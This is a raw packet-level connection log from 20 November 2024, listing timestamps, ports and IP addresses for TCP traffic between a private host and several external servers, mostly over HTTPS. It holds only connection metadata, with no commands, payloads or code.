Nov 20, 2024 21:05:28.716614008 CET	49722	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:28.716626883 CET	443	49722	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:28.720164061 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.720295906 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.720314026 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.733654022 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.733767033 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.733783960 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.746654034 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.746776104 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.746788979 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.762427092 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.762514114 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.762535095 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.768677950 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.768755913 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.768764973 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.812597990 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.853079081 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.856353045 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.856508970 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.856532097 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.878118992 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.878187895 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.878197908 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.880901098 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.881100893 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.881107092 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.886933088 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.886996984 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.887011051 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.892719984 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.892798901 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.892806053 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.898513079 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.898592949 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.898602009 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.903493881 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.903553963 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.903558969 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.906848907 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.906925917 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.906932116 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.917140961 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.917181969 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.917211056 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.917217970 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.917275906 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.919135094 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:28.919749975 CET	49725	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:28.919764996 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:28.920264959 CET	49725	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:28.920269966 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:28.931934118 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.964154005 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.964260101 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.964283943 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.001477003 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.001574993 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.001599073 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.001610041 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.001662970 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.005460024 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.010178089 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.010215998 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.010293961 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.010299921 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.010916948 CET	49726	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.010953903 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.011607885 CET	49726	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.011621952 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.013911009 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.013982058 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.014003038 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.017959118 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.018033981 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.018039942 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.021910906 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.022001982 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.022013903 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.026747942 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.026822090 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.026829004 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.029988050 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.030030012 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.030052900 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.030061007 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.030119896 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.031594992 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.035943985 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.036010981 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.036017895 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.041208029 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.041285992 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.041291952 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.044929028 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.045030117 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.045041084 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.065013885 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.065135002 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.065141916 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.067989111 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.068061113 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.068068027 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.090020895 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.090111017 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.090128899 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.091814995 CET	443	49724	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.091959000 CET	443	49724	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.092068911 CET	49724	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.092231989 CET	49724	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.092252016 CET	443	49724	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.092262983 CET	49724	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.092267990 CET	443	49724	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.093525887 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.093609095 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.093715906 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.093732119 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.094072104 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.094120979 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.094211102 CET	49723	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.095395088 CET	49723	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.095429897 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.095479012 CET	49723	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.095494986 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.115861893 CET	49729	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.115889072 CET	443	49729	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.115972996 CET	49729	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.116977930 CET	49729	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.116987944 CET	443	49729	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.118483067 CET	49730	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.118519068 CET	443	49730	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.118606091 CET	49730	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.118776083 CET	49730	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.118788958 CET	443	49730	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.151770115 CET	443	49722	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.151920080 CET	443	49722	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.152060986 CET	49722	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.152239084 CET	49722	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.152239084 CET	49722	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.152272940 CET	443	49722	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.152297974 CET	443	49722	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.155191898 CET	49731	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.155205965 CET	443	49731	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.155298948 CET	49731	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.155498028 CET	49731	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.155503988 CET	443	49731	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.314513922 CET	49732	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.314559937 CET	443	49732	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.314620018 CET	49732	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.314874887 CET	49732	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:29.314889908 CET	443	49732	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:29.378935099 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.378994942 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.379067898 CET	49725	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.379297018 CET	49725	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.379316092 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.379329920 CET	49725	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.379334927 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.382327080 CET	49733	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.382386923 CET	443	49733	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.382493019 CET	49733	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.382690907 CET	49733	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.382719040 CET	443	49733	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.457309961 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.457384109 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.457437992 CET	49726	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.457601070 CET	49726	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.457621098 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.457636118 CET	49726	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.457642078 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.460341930 CET	49734	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.460442066 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.460520983 CET	49734	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.460685968 CET	49734	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:29.460709095 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:29.840822935 CET	49700	443	192.168.2.7	104.98.116.138
Nov 20, 2024 21:05:29.841465950 CET	49735	443	192.168.2.7	104.98.116.138
Nov 20, 2024 21:05:29.841512918 CET	443	49735	104.98.116.138	192.168.2.7
Nov 20, 2024 21:05:29.841582060 CET	49735	443	192.168.2.7	104.98.116.138
Nov 20, 2024 21:05:29.903084993 CET	49736	443	192.168.2.7	52.149.20.212
Nov 20, 2024 21:05:29.903130054 CET	443	49736	52.149.20.212	192.168.2.7
Nov 20, 2024 21:05:29.903228998 CET	49736	443	192.168.2.7	52.149.20.212
Nov 20, 2024 21:05:29.913886070 CET	49736	443	192.168.2.7	52.149.20.212
Nov 20, 2024 21:05:29.913903952 CET	443	49736	52.149.20.212	192.168.2.7
Nov 20, 2024 21:05:29.943296909 CET	49735	443	192.168.2.7	104.98.116.138
Nov 20, 2024 21:05:29.943344116 CET	443	49735	104.98.116.138	192.168.2.7
Nov 20, 2024 21:05:29.960582972 CET	443	49700	104.98.116.138	192.168.2.7
Nov 20, 2024 21:05:30.135054111 CET	49737	443	192.168.2.7	2.16.229.162
Nov 20, 2024 21:05:30.135114908 CET	443	49737	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:30.135210991 CET	49737	443	192.168.2.7	2.16.229.162
Nov 20, 2024 21:05:30.136176109 CET	49737	443	192.168.2.7	2.16.229.162
Nov 20, 2024 21:05:30.136192083 CET	443	49737	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:30.802166939 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:30.802525997 CET	49740	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:30.922275066 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:30.922350883 CET	80	49740	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:30.922435999 CET	443	49729	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:30.922454119 CET	49740	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:30.929877043 CET	49740	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:30.930504084 CET	49729	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:30.930530071 CET	443	49729	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:30.931176901 CET	49729	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:30.931184053 CET	443	49729	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.000828028 CET	443	49730	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.001499891 CET	49730	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.001547098 CET	443	49730	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.002142906 CET	49730	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.002157927 CET	443	49730	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.022851944 CET	443	49731	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.023472071 CET	49731	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.023509026 CET	443	49731	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.024305105 CET	49731	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.024310112 CET	443	49731	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.049545050 CET	80	49740	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:31.058911085 CET	443	49732	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:31.059267044 CET	49732	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:31.059288979 CET	443	49732	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:31.059756041 CET	443	49732	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:31.060240984 CET	49732	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:31.060318947 CET	443	49732	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:31.109646082 CET	49732	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:31.245424032 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.247100115 CET	49734	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.247119904 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.247639894 CET	49734	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.247646093 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.256586075 CET	443	49733	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.266736031 CET	49733	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.266769886 CET	443	49733	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.267827988 CET	49733	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.267833948 CET	443	49733	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.400430918 CET	443	49729	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.400505066 CET	443	49729	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.400567055 CET	49729	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.400809050 CET	49729	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.400824070 CET	443	49729	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.400836945 CET	49729	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.400841951 CET	443	49729	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.404468060 CET	49741	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.404510975 CET	443	49741	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.404573917 CET	49741	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.404741049 CET	49741	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.404757977 CET	443	49741	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.479022026 CET	443	49730	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.479085922 CET	443	49730	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.479149103 CET	49730	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.482692957 CET	49730	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.482717991 CET	443	49730	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.482731104 CET	49730	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.482739925 CET	443	49730	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.485990047 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.486038923 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.486191034 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.486327887 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.486341000 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.515870094 CET	443	49731	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.515959024 CET	443	49731	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.516226053 CET	49731	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.516264915 CET	49731	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.516284943 CET	443	49731	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.516299009 CET	49731	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.516304016 CET	443	49731	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.519843102 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.519881010 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.520013094 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.520184994 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.520200968 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.536178112 CET	443	49737	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:31.536263943 CET	49737	443	192.168.2.7	2.16.229.162
Nov 20, 2024 21:05:31.539508104 CET	49737	443	192.168.2.7	2.16.229.162
Nov 20, 2024 21:05:31.539522886 CET	443	49737	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:31.539927959 CET	443	49737	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:31.593646049 CET	49737	443	192.168.2.7	2.16.229.162
Nov 20, 2024 21:05:31.604466915 CET	49737	443	192.168.2.7	2.16.229.162
Nov 20, 2024 21:05:31.651341915 CET	443	49737	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:31.699229956 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.699301004 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.699457884 CET	49734	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.699650049 CET	49734	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.699668884 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.699680090 CET	49734	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.699685097 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.702764034 CET	49744	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.702815056 CET	443	49744	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.702985048 CET	49744	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.703200102 CET	49744	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.703217983 CET	443	49744	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.722229004 CET	443	49733	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.722306967 CET	443	49733	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.722369909 CET	49733	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.722481966 CET	49733	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.722496986 CET	443	49733	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.722506046 CET	49733	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.722511053 CET	443	49733	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.725061893 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.725112915 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.725215912 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.725358009 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:31.725375891 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:31.746936083 CET	443	49736	52.149.20.212	192.168.2.7
Nov 20, 2024 21:05:31.747020006 CET	49736	443	192.168.2.7	52.149.20.212
Nov 20, 2024 21:05:31.748606920 CET	49736	443	192.168.2.7	52.149.20.212
Nov 20, 2024 21:05:31.748620033 CET	443	49736	52.149.20.212	192.168.2.7
Nov 20, 2024 21:05:31.749028921 CET	443	49736	52.149.20.212	192.168.2.7
Nov 20, 2024 21:05:31.796717882 CET	49736	443	192.168.2.7	52.149.20.212
Nov 20, 2024 21:05:32.045998096 CET	443	49737	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:32.046158075 CET	443	49737	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:32.046255112 CET	49737	443	192.168.2.7	2.16.229.162
Nov 20, 2024 21:05:32.046302080 CET	49737	443	192.168.2.7	2.16.229.162
Nov 20, 2024 21:05:32.046329021 CET	443	49737	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:32.046340942 CET	49737	443	192.168.2.7	2.16.229.162
Nov 20, 2024 21:05:32.046345949 CET	443	49737	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:32.083049059 CET	49747	443	192.168.2.7	2.16.229.162
Nov 20, 2024 21:05:32.083091974 CET	443	49747	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:32.083172083 CET	49747	443	192.168.2.7	2.16.229.162
Nov 20, 2024 21:05:32.083456039 CET	49747	443	192.168.2.7	2.16.229.162
Nov 20, 2024 21:05:32.083466053 CET	443	49747	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:32.818869114 CET	80	49740	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:32.818948984 CET	49740	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:32.899528027 CET	49732	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:32.906373024 CET	49740	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:33.025895119 CET	80	49740	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:33.214713097 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.215691090 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.215703964 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.216370106 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.216376066 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.238415956 CET	49736	443	192.168.2.7	52.149.20.212
Nov 20, 2024 21:05:33.261045933 CET	443	49741	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.261559963 CET	49741	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.261589050 CET	443	49741	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.262067080 CET	49741	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.262077093 CET	443	49741	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.283330917 CET	443	49736	52.149.20.212	192.168.2.7
Nov 20, 2024 21:05:33.324635029 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.329152107 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.329171896 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.329902887 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.329910040 CET	443	49743	13.107.246.63	192.168.2.7
